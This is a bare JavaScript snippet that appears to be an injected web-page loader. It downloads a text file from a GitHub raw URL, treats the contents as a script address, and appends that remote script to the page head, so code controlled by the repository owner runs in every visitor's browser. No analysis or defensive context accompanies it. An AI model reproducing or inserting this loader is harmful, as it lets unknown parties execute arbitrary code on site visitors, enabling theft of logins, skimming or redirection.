var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(script); });